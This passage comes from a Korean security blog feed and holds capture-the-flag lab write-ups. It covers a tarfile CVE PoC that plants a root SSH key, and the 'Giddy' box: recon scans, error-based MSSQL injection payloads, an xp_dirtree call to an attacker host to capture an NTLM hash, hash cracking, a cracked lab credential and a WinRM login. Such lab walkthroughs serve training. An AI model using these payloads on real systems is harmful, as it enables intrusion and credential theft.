0,57.3066942 0,128.00106 C0,184.555281 36.6761997,232.535542 87.534937,249.460899 C93.9320223,250.645779 96.280588,246.684165 96.280588,243.303333 C96.280588,240.251045 96.1618878,230.167899 96.106777,219.472176 C60.4967585,227.215235 52.9826207,204.369712 52.9826207,204.369712 C47.1599584,189.574598 38.770408,185.640538 38.770408,185.640538 C27.1568785,177.696113 39.6458206,177.859325 39.6458206,177.859325 C52.4993419,178.762293 59.267365,191.04987 59.267365,191.04987 C70.6837675,210.618423 89.2115753,204.961093 96.5158685,201.690482 C97.6647155,193.417512 100.981959,187.77078 104.642583,184.574357 C76.211799,181.33766 46.324819,170.362144 46.324819,121.315702 C46.324819,107.340889 51.3250588,95.9223682 59.5132437,86.9583937 C58.1842268,83.7344152 53.8029229,70.715562 60.7532354,53.0843636 C60.7532354,53.0843636 71.5019501,49.6441813 95.9626412,66.2049595 C106.172967,63.368876 117.123047,61.9465949 128.00106,61.8978432 C138.879073,61.9465949 149.837632,63.368876 160.067033,66.2049595 C184.49805,49.6441813 195.231926,53.0843636 195.231926,53.0843636 C202.199197,70.715562 197.815773,83.7344152 196.486756,86.9583937 C204.694018,95.9223682 209.660343,107.340889 209.660343,121.315702 C209.660343,170.478725 179.716133,181.303747 151.213281,184.472614 C155.80443,188.444828 159.895342,196.234518 159.895342,208.176593 C159.895342,225.303317 159.746968,239.087361 159.746968,243.303333 C159.746968,246.709601 162.05102,250.70089 168.53925,249.443941 C219.370432,232.499507 256,184.536204 256,128.00106 C256,57.3066942 198.691187,0 128.00106,0 Z M47.9405593,182.340212 C47.6586465,182.976105 46.6581745,183.166873 45.7467277,182.730227 C44.8183235,182.312656 44.2968914,181.445722 44.5978808,180.80771 C44.8734344,180.152739 45.876026,179.97045 46.8023103,180.409216 C47.7328342,180.826786 48.2627451,181.702199 47.9405593,182.340212 Z M54.2367892,187.958254 C53.6263318,188.524199 52.4329723,188.261363 51.6232682,187.366874 C50.7860088,186.474504 50.6291553,185.281144 51.2480912,184.70672 C51.8776254,184.140775 53.0349512,184.405731 53.8743302,185.298101 C54.7115892,186.201069 54.8748019,187.38595 54.2367892,187.958254 Z M58.5562413,195.146347 C57.7719732,195.691096 56.4895886,195.180261 55.6968417,194.042013 C54.9125733,192.903764 54.9125733,191.538713 55.713799,190.991845 C56.5086651,190.444977 57.7719732,190.936735 58.5753181,192.066505 C59.3574669,193.22383 59.3574669,194.58888 58.5562413,195.146347 Z M65.8613592,203.471174 C65.1597571,204.244846 63.6654083,204.03712 62.5716717,202.981538 C61.4524999,201.94927 61.1409122,200.484596 61.8446341,199.710926 C62.5547146,198.935137 64.0575422,199.15346 65.1597571,200.200564 C66.2704506,201.230712 66.6095936,202.705984 65.8613592,203.471174 Z M75.3025151,206.281542 C74.9930474,207.284134 73.553809,207.739857 72.1039724,207.313809 C70.6562556,206.875043 69.7087748,205.700761 70.0012857,204.687571 C70.302275,203.678621 71.7478721,203.20382 73.2083069,203.659543 C74.6539041,204.09619 75.6035048,205.261994 75.3025151,206.281542 Z M86.046947,207.473627 C86.0829806,208.529209 84.8535871,209.404622 83.3316829,209.4237 C81.8013,209.457614 80.563428,208.603398 80.5464708,207.564772 C80.5464708,206.498591 81.7483088,205.631657 83.2786917,205.606221 C84.8005962,205.576546 86.046947,206.424403 86.046947,207.473627 Z M96.6021471,207.069023 C96.7844366,208.099171 95.7267341,209.156872 94.215428,209.438785 C92.7295577,209.710099 91.3539086,209.074206 91.1652603,208.052538 C90.9808515,206.996955 92.0576306,205.939253 93.5413813,205.66582 C95.054807,205.402984 96.4092596,206.021919 96.6021471,207.069023 Z" fill="#161614"></path></g></svg></div><div class="notion-external-description"><div class="notion-external-title">CVE-2025-4517-tarfile-PATH_MAX-bypass</div><div class="notion-external-subtitle"><div class="notion-preview-card-domain-warp"><div class="notion-preview-card-logo"><svg viewBox="0 0 260 260"><g><path d="M128.00106,0 C57.3172926,0 0,57.3066942 0,128.00106 C0,184.555281 36.6761997,232.535542 87.534937,249.460899 C93.9320223,250.645779 96.280588,246.684165 96.280588,243.303333 C96.280588,240.251045 96.1618878,230.167899 96.106777,219.472176 C60.4967585,227.215235 52.9826207,204.369712 52.9826207,204.369712 C47.1599584,189.574598 38.770408,185.640538 38.770408,185.640538 C27.1568785,177.696113 39.6458206,177.859325 39.6458206,177.859325 C52.4993419,178.762293 59.267365,191.04987 59.267365,191.04987 C70.6837675,210.618423 89.2115753,204.961093 96.5158685,201.690482 C97.6647155,193.417512 100.981959,187.77078 104.642583,184.574357 C76.211799,181.33766 46.324819,170.362144 46.324819,121.315702 C46.324819,107.340889 51.3250588,95.9223682 59.5132437,86.9583937 C58.1842268,83.7344152 53.8029229,70.715562 60.7532354,53.0843636 C60.7532354,53.0843636 71.5019501,49.6441813 95.9626412,66.2049595 C106.172967,63.368876 117.123047,61.9465949 128.00106,61.8978432 C138.879073,61.9465949 149.837632,63.368876 160.067033,66.2049595 C184.49805,49.6441813 195.231926,53.0843636 195.231926,53.0843636 C202.199197,70.715562 197.815773,83.7344152 196.486756,86.9583937 C204.694018,95.9223682 209.660343,107.340889 209.660343,121.315702 C209.660343,170.478725 179.716133,181.303747 151.213281,184.472614 C155.80443,188.444828 159.895342,196.234518 159.895342,208.176593 C159.895342,225.303317 159.746968,239.087361 159.746968,243.303333 C159.746968,246.709601 162.05102,250.70089 168.53925,249.443941 C219.370432,232.499507 256,184.536204 256,128.00106 C256,57.3066942 198.691187,0 128.00106,0 Z M47.9405593,182.340212 C47.6586465,182.976105 46.6581745,183.166873 45.7467277,182.730227 C44.8183235,182.312656 44.2968914,181.445722 44.5978808,180.80771 C44.8734344,180.152739 45.876026,179.97045 46.8023103,180.409216 C47.7328342,180.826786 48.2627451,181.702199 47.9405593,182.340212 Z M54.2367892,187.958254 C53.6263318,188.524199 52.4329723,188.261363 51.6232682,187.366874 C50.7860088,186.474504 50.6291553,185.281144 51.2480912,184.70672 C51.8776254,184.140775 53.0349512,184.405731 53.8743302,185.298101 C54.7115892,186.201069 54.8748019,187.38595 54.2367892,187.958254 Z M58.5562413,195.146347 C57.7719732,195.691096 56.4895886,195.180261 55.6968417,194.042013 C54.9125733,192.903764 54.9125733,191.538713 55.713799,190.991845 C56.5086651,190.444977 57.7719732,190.936735 58.5753181,192.066505 C59.3574669,193.22383 59.3574669,194.58888 58.5562413,195.146347 Z M65.8613592,203.471174 C65.1597571,204.244846 63.6654083,204.03712 62.5716717,202.981538 C61.4524999,201.94927 61.1409122,200.484596 61.8446341,199.710926 C62.5547146,198.935137 64.0575422,199.15346 65.1597571,200.200564 C66.2704506,201.230712 66.6095936,202.705984 65.8613592,203.471174 Z M75.3025151,206.281542 C74.9930474,207.284134 73.553809,207.739857 72.1039724,207.313809 C70.6562556,206.875043 69.7087748,205.700761 70.0012857,204.687571 C70.302275,203.678621 71.7478721,203.20382 73.2083069,203.659543 C74.6539041,204.09619 75.6035048,205.261994 75.3025151,206.281542 Z M86.046947,207.473627 C86.0829806,208.529209 84.8535871,209.404622 83.3316829,209.4237 C81.8013,209.457614 80.563428,208.603398 80.5464708,207.564772 C80.5464708,206.498591 81.7483088,205.631657 83.2786917,205.606221 C84.8005962,205.576546 86.046947,206.424403 86.046947,207.473627 Z M96.6021471,207.069023 C96.7844366,208.099171 95.7267341,209.156872 94.215428,209.438785 C92.7295577,209.710099 91.3539086,209.074206 91.1652603,208.052538 C90.9808515,206.996955 92.0576306,205.939253 93.5413813,205.66582 C95.054807,205.402984 96.4092596,206.021919 96.6021471,207.069023 Z" fill="#161614"></path></g></svg></div><div class="notion-preview-card-domain">Github</div></div><div class="notion-preview-card-title">CVE-2025-4517-tarfile-PATH_MAX-bypass</div><div class="notion-external-subtitle-item"><div class="notion-external-subtitle-item-name">Owner</div><span class="notion-external-subtitle-item-desc">0xDTC</span></div><div class="notion-external-subtitle-item"><div class="notion-external-subtitle-item-name">Updated</div><span class="notion-external-subtitle-item-desc">Jun 9, 2026</span></div><div class="notion-preview-card-github-shields"><img src="https://img.shields.io/github/stars/0xDTC/CVE-2025-4517-tarfile-PATH_MAX-bypass?logo=github" alt=""/><img src="https://img.shields.io/github/last-commit/0xDTC/CVE-2025-4517-tarfile-PATH_MAX-bypass" alt=""/></div></div></div></a></div><ul class="notion-list notion-list-disc notion-block-ce42196f526b826794e88184a2feb2ff"><li>여기서 활용한 poc는 <code class="notion-inline-code">root/.ssh/authorized_keys</code> 경로에 비밀번호 없이 생성한 키를 밀어넣어 root에 ssh로 붙을 수 있게끔 활용한다.</li></ul><div class="notion-blank notion-block-4fe2196f526b83b3afa3813a17691fa2"> </div><ul class="notion-list notion-list-disc notion-block-0e72196f526b82f6bfff011a9b044704"><li>위와같이 타겟에 맞춰 값을 넣어주고 생성한 tar파일을 타겟 서버로 가져간다.</li></ul><div class="notion-blank notion-block-c722196f526b82d6bbc501e1a3c6b2ec"> </div><div class="notion-text notion-block-bf52196f526b837bade7013b534b51f5"><code class="notion-inline-code">sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py -b backup_99.tar -r restore_pwn</code></div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-e0f2196f526b82608e3b8165e0db624c"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3A7bc52091-a580-4e53-b3a9-638e632c5a12%3Aimage.png?table=block&amp;id=e0f2196f-526b-8260-8e3b-8165e0db624c&amp;t=e0f2196f-526b-8260-8e3b-8165e0db624c" alt="notion image" loading="lazy" decoding="async"/></div></figure><ul class="notion-list notion-list-disc notion-block-c3a2196f526b826f8ab381fff1ad72df"><li>그리고 다음과같이 sudo 명령어로 root의 권한으로 실행시켜준다.</li></ul><ul class="notion-list notion-list-disc notion-block-1862196f526b82ac8c5201ff0fef538b"><li>그럼 앞서 언급한 취약점이 발현되어 root의 ssh 허용키에 내가 임의로 만들었던 키가 들어갈것이다.</li></ul><div class="notion-blank notion-block-9a12196f526b8339a790815ad686da0b"> </div><div class="notion-text notion-block-bf72196f526b83aa85a481ec29385218"><code class="notion-inline-code">ssh -i root_key root@10.129.15.202</code></div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-8712196f526b82cfab4501eaf60f1f2d"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3Ab70228e1-0e40-4e16-b678-6bbd82c69830%3Aimage.png?table=block&amp;id=8712196f-526b-82cf-ab45-01eaf60f1f2d&amp;t=8712196f-526b-82cf-ab45-01eaf60f1f2d" alt="notion image" loading="lazy" decoding="async"/></div></figure><ul class="notion-list notion-list-disc notion-block-5332196f526b82dcb1eb01b9da0802a3"><li>해당 키를 사용해서 root로의 ssh 연결에 성공한것을 볼 수 있다.</li></ul><ul class="notion-list notion-list-disc notion-block-5f22196f526b83bc88b58154935e3b0a"><li>root flag 획득!</li></ul></main></div>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Giddy]]></title>
            <link>https://blog.meowyeok.kr/article/b192196f-526b-8225-9a59-019c48b9381a</link>
            <guid>https://blog.meowyeok.kr/article/b192196f-526b-8225-9a59-019c48b9381a</guid>
            <pubDate>Fri, 24 Jul 2026 00:00:00 GMT</pubDate>
            <content:encoded><![CDATA[<div id="notion-article" class="mx-auto overflow-hidden "><main class="notion light-mode notion-page notion-block-b192196f526b82259a59019c48b9381a"><div class="notion-viewport"></div><div class="notion-collection-page-properties"></div><div class="notion-blank notion-block-34f2196f526b820ea25081ce4b10c969"> </div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-9512196f526b8298a60b01ce52ef0e68"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:583.9722290039062px;max-width:100%;flex-direction:column"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3A55f76e1c-9ba0-4b9c-b5c7-cea9736f411e%3Aimage.png?table=block&amp;id=9512196f-526b-8298-a60b-01ce52ef0e68&amp;t=9512196f-526b-8298-a60b-01ce52ef0e68" alt="notion image" loading="lazy" decoding="async"/></div></figure><div class="notion-blank notion-block-6462196f526b83e5a7e4814a06a60eb2"> </div><div class="notion-table-of-contents notion-gray notion-block-8c02196f526b835bbd2d01cba7bb7563"><a href="#7a12196f526b82b09aa581bf46b767db" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:0">Reconnaissance</span></a><a href="#2132196f526b825a87e501605e9e7bd3" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:0">Exploitation</span></a><a href="#8eb2196f526b83678558013e945cb88e" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:0">Privilege Escalation</span></a></div><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-7a12196f526b82b09aa581bf46b767db" data-id="7a12196f526b82b09aa581bf46b767db"><span><div id="7a12196f526b82b09aa581bf46b767db" class="notion-header-anchor"></div><a class="notion-hash-link" href="#7a12196f526b82b09aa581bf46b767db" title="Reconnaissance"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Reconnaissance</span></span></h2><div class="notion-text notion-block-fdb2196f526b83f2a561011e014491ba"><code class="notion-inline-code">nmap -sV 10.129.8.86</code></div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-b062196f526b83eeba6181a0602250fb"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3A96876e91-da2d-4380-a0d1-a573c54f65e9%3Aimage.png?table=block&amp;id=b062196f-526b-83ee-ba61-81a0602250fb&amp;t=b062196f-526b-83ee-ba61-81a0602250fb" alt="notion image" loading="lazy" decoding="async"/></div></figure><ul class="notion-list notion-list-disc notion-block-78c2196f526b839e90a4016332d79243"><li>http(80), https(443) 포트와 윈도우 RDP포트(3389), WinRM(5985) 포트가 열려있다.</li></ul><div class="notion-blank notion-block-0e82196f526b828a9ad981e1e19f7f0a"> </div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-c252196f526b82c5836a013f47b44219"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3A65168176-f2be-4c86-8be1-829d97cd1a26%3Aimage.png?table=block&amp;id=c252196f-526b-82c5-836a-013f47b44219&amp;t=c252196f-526b-82c5-836a-013f47b44219" alt="notion image" loading="lazy" decoding="async"/></div></figure><ul class="notion-list notion-list-disc notion-block-97c2196f526b83a383f8015d5e3a83b8"><li>80, 443 두포트 모두 강아지가 이러고 있고 별건 없어보인다 (IIS Windows Server)</li></ul><div class="notion-blank notion-block-9b62196f526b82a491a301c35ba07e08"> </div><div class="notion-text notion-block-0672196f526b839bbf35017adbfdaff4"><code class="notion-inline-code">nuclei -u 10.129.8.86</code></div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-e4e2196f526b832ca1cd012766c81aff"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3Aa4ef1d14-ceac-44b8-bb54-c626f0af3ec6%3Aimage.png?table=block&amp;id=e4e2196f-526b-832c-a1cd-012766c81aff&amp;t=e4e2196f-526b-832c-a1cd-012766c81aff" alt="notion image" loading="lazy" decoding="async"/></div></figure><ul class="notion-list notion-list-disc notion-block-b582196f526b83c8bc5e012044d78f4d"><li>이 결과에서 shortscan에 취약하다고 나와서 해봤지만 이렇다할 단서는 없었다.</li></ul><div class="notion-text notion-block-e4d2196f526b83f2903181462b95e454"><code class="notion-inline-code">./shortscan http://10.129.8.86/</code></div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-a892196f526b839bbbfc8107e8f8adf5"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3Ac3b40abc-f092-4d04-8f17-61e949e385c6%3Aimage.png?table=block&amp;id=a892196f-526b-839b-bbfc-8107e8f8adf5&amp;t=a892196f-526b-839b-bbfc-8107e8f8adf5" alt="notion image" loading="lazy" decoding="async"/></div></figure><div class="notion-blank notion-block-1ee2196f526b83b78719019f91bff0ae"> </div><div class="notion-text notion-block-95b2196f526b822c86b301b2d7522ab1"><code class="notion-inline-code">gobuster dir -u 10.129.8.86 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -t 60</code></div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-09a2196f526b823b928a811e887100a6"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3Ae7172c65-0367-45bd-a657-58a1672f8bdf%3Aimage.png?table=block&amp;id=09a2196f-526b-823b-928a-811e887100a6&amp;t=09a2196f-526b-823b-928a-811e887100a6" alt="notion image" loading="lazy" decoding="async"/></div></figure><ul class="notion-list notion-list-disc notion-block-6f02196f526b830ba27e019993bb5968"><li>/remote 엔드포인트와 /mvc 엔드포인트가 존재한다.</li></ul><div class="notion-blank notion-block-4762196f526b838cbfde01b48901c5fe"> </div><div class="notion-text notion-block-13a2196f526b8345aa33012246592848"><code class="notion-inline-code">/remote</code></div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-cdb2196f526b83baaa358123e2a44127"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3A00f55771-fc86-4b4b-89d7-0e02d89b9599%3Aimage.png?table=block&amp;id=cdb2196f-526b-83ba-aa35-8123e2a44127&amp;t=cdb2196f-526b-83ba-aa35-8123e2a44127" alt="notion image" loading="lazy" decoding="async"/></div></figure><ul class="notion-list notion-list-disc notion-block-8952196f526b8353a834819719a97772"><li>아마 여기가 중요한 공격표면인듯하다.</li></ul><ul class="notion-list notion-list-disc notion-block-7b22196f526b828489270133c01c1c10"><li>이제 여기에 쓰이는 크리덴셜을 확보해야한다.</li></ul><div class="notion-blank notion-block-6012196f526b82dd898001ef4d6e6d7f"> </div><div class="notion-text notion-block-1532196f526b82b69ae501e56ca47039"><code class="notion-inline-code">/mvc</code></div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-7032196f526b82109b1e81741326b22d"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3A280915a2-219c-4b10-b4f0-7af4c03e8a16%3Aimage.png?table=block&amp;id=7032196f-526b-8210-9b1e-81741326b22d&amp;t=7032196f-526b-8210-9b1e-81741326b22d" alt="notion image" loading="lazy" decoding="async"/></div></figure><ul class="notion-list notion-list-disc notion-block-5652196f526b828d819d810533764658"><li>이러한 CMS같은 신기한 페이지가 존재했다.</li></ul><div class="notion-blank notion-block-6042196f526b828787d481ad17256be4"> </div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-0bc2196f526b821695d20141a9ef5552"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3A30ef3813-09d4-4508-bb00-d09b3593dac3%3Aimage.png?table=block&amp;id=0bc2196f-526b-8216-95d2-0141a9ef5552&amp;t=0bc2196f-526b-8216-95d2-0141a9ef5552" alt="notion image" loading="lazy" decoding="async"/></div></figure><ul class="notion-list notion-list-disc notion-block-2372196f526b822f8dbd01a1d1323f90"><li>둘러보다가 Search.aspx 페이지에서 sqli가 발생하는걸 발견했다!!</li></ul><ul class="notion-list notion-list-disc notion-block-5492196f526b824f8bb081b899b1f119"><li><code class="notion-inline-code">C:\Users\jnogueira\Downloads\owasp10\1-owasp-top10-m1-injection-exercise-files\before\1-Injection\Search.aspx.cs:30</code> 이부분을 보니 owasp top10 sqli 실습용 페이지인것 같다</li></ul><div class="notion-blank notion-block-8552196f526b824baef9015bed37353b"> </div><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-2132196f526b825a87e501605e9e7bd3" data-id="2132196f526b825a87e501605e9e7bd3"><span><div id="2132196f526b825a87e501605e9e7bd3" class="notion-header-anchor"></div><a class="notion-hash-link" href="#2132196f526b825a87e501605e9e7bd3" title="Exploitation"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Exploitation</span></span></h2><div class="notion-text notion-block-15d2196f526b8200ba5201fcf440851e"><code class="notion-inline-code">a&#x27; AND 1=CONVERT(int, (SELECT DB_NAME()))--</code></div><div class="notion-text notion-block-6982196f526b823eb605816660a2bffe"><code class="notion-inline-code">a&#x27; AND 1=CONVERT(int, (SELECT SYSTEM_USER))--</code></div><div class="notion-text notion-block-4be2196f526b8362af7d013a0de7e646"><code class="notion-inline-code">a&#x27; AND 1=CONVERT(int, @@version)--</code></div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-4fa2196f526b823b910181b9d95ac753"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3A7cdd0c7a-7162-403c-ad10-1502229fcf21%3Aimage.png?table=block&amp;id=4fa2196f-526b-823b-9101-81b9d95ac753&amp;t=4fa2196f-526b-823b-9101-81b9d95ac753" alt="notion image" loading="lazy" decoding="async"/></div></figure><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-edd2196f526b83d9b2cd012eebf8d913"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3A177b1752-bb11-4427-afc4-3c7e4d36a521%3Aimage.png?table=block&amp;id=edd2196f-526b-83d9-b2cd-012eebf8d913&amp;t=edd2196f-526b-83d9-b2cd-012eebf8d913" alt="notion image" loading="lazy" decoding="async"/></div></figure><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-7112196f526b8300a7fe014a1e7fe621"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3A90500c60-d0a1-466b-8432-0512c2bdf31f%3Aimage.png?table=block&amp;id=7112196f-526b-8300-a7fe-014a1e7fe621&amp;t=7112196f-526b-8300-a7fe-014a1e7fe621" alt="notion image" loading="lazy" decoding="async"/></div></figure><ul class="notion-list notion-list-disc notion-block-1eb2196f526b82b3b08781c6a003871b"><li>sqli를 이용해서 이런식으로 의도적인 에러를 유발하면서 DB에 대한 여러 정보를 얻어낼 수 있었다 (DBname, username, DBversion…)</li></ul><div class="notion-blank notion-block-1952196f526b8282b521817756f7b6b2"> </div><div class="notion-text notion-block-5592196f526b82be8cd281dd714043ae"><code class="notion-inline-code">sudo responder -I tun0</code></div><div class="notion-text notion-block-21b2196f526b837aa9f0010237a3d80d"><code class="notion-inline-code">a&#x27;; EXEC master.dbo.xp_dirtree &#x27;\\10.10.14.116\share&#x27;;—</code></div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-ce42196f526b837088ac0134880fa92c"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3A0d58a06d-00b0-4f07-9ae2-666621a10fd7%3Aimage.png?table=block&amp;id=ce42196f-526b-8370-88ac-0134880fa92c&amp;t=ce42196f-526b-8370-88ac-0134880fa92c" alt="notion image" loading="lazy" decoding="async"/></div></figure><ul class="notion-list notion-list-disc notion-block-4962196f526b828289e481de1e9eab33"><li>mssql에 SQL 구문을 실행할 수 있는 상황이기 때문에 NTLM relay attack을 시도해 볼 수 있었다.</li></ul><div class="notion-blank notion-block-e2e2196f526b8339855e01e9d0547ada"> </div><div class="notion-text notion-block-2c32196f526b838e91520103cdaef659"><code class="notion-inline-code">hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt</code></div><ul class="notion-list notion-list-disc notion-block-ebe2196f526b833a8f4b01e4211ec5b2"><li>( stacy / xNnWo6272k7x )</li></ul><div class="notion-blank notion-block-43e2196f526b830fac7a012b907c62e7"> </div><div class="notion-text notion-block-9722196f526b82d6abb681d3c54a2d8b"><code class="notion-inline-code">evil-winrm -i 10.129.8.108 -u Stacy -p &#x27;xNnWo6272k7x&#x27;</code></div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-fc82196f526b8297bb0a01ebc0b3e536"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3Aea993d44-848d-4dd7-a27a-ee4e4eaa34ed%3Aimage.png?table=block&amp;id=fc82196f-526b-8297-bb0a-01ebc0b3e536&amp;t=fc82196f-526b-8297-bb0a-01ebc0b3e536" alt="notion image" loading="lazy" decoding="async"/></div></figure><ul class="notion-list notion-list-disc notion-block-57a2196f526b830087e2018b4e577df6"><li>얻어낸 크리덴셜로 winrm에 붙어보니 성공하였다</li></ul><ul class="notion-list notion-list-disc notion-block-8b92196f526b8366a534013335f70a27"><li>user flag 획득!!</li></ul><div class="notion-blank notion-block-c222196f526b829aae8b81c1b507d9c0"> </div><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-8eb2196f526b83678558013e945cb88e" data-id="8eb2196f526b83678558013e945cb88e"><span><div id="8eb2196f526b83678558013e945cb88e" class="notion-header-anchor"></div><a class="notion-hash-link" href="#8eb2196f526b83678558013e945cb88e" title="Privilege Escalation"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Privilege Escalation</span></span></h2><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-a1b2196f526b8319bf0d01003c0ea5fe"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3A994652ba-d20e-4b26-a9f2-7b824ea94f36%3Aimage.png?table=block&amp;id=a1b2196f-526b-8319-bf0d-01003c0ea5fe&amp;t=a1b2196f-526b-8319-bf0d-01003c0ea5fe" alt="notion image" loading="lazy" decoding="async"/></div></figure><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-d992196f526b830b883d813fe32717f1"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3A87c01218-cd7a-4319-9797-344d10b5a604%3Aimage.png?table=block&amp;id=d992196f-526b-830b-883d-813fe32717f1&amp;t=d992196f-526b-830b-883d-813fe32717f1" alt="notion image" loading="lazy" decoding="async"/></div></figure><ul class="notion-list notion-list-disc notion-block-5b72196f526b83e0bf3801459918dc07"><li>먼저 Winpeas를 돌려보려고 exe와 bat파일 모두 실행해 보았지만 group policy에 막히는 상태였다.</li></ul><ul class="notion-list notion-list-disc notion-block-14a2196f526b832b8f8d81ce24d81bdd"><li>그래서 실행이 될법한 <code class="notion-inline-code">C:\Windows\Temp</code>, <code class="notion-inline-code">C:\Windows\Tasks</code> 에서 똑같이 시도해보았다.</li></ul><div class="notion-blank notion-block-0772196f526b82e7b9be0164828cfb57"> </div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-aad2196f526b826db55f81491e7ee81b"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" 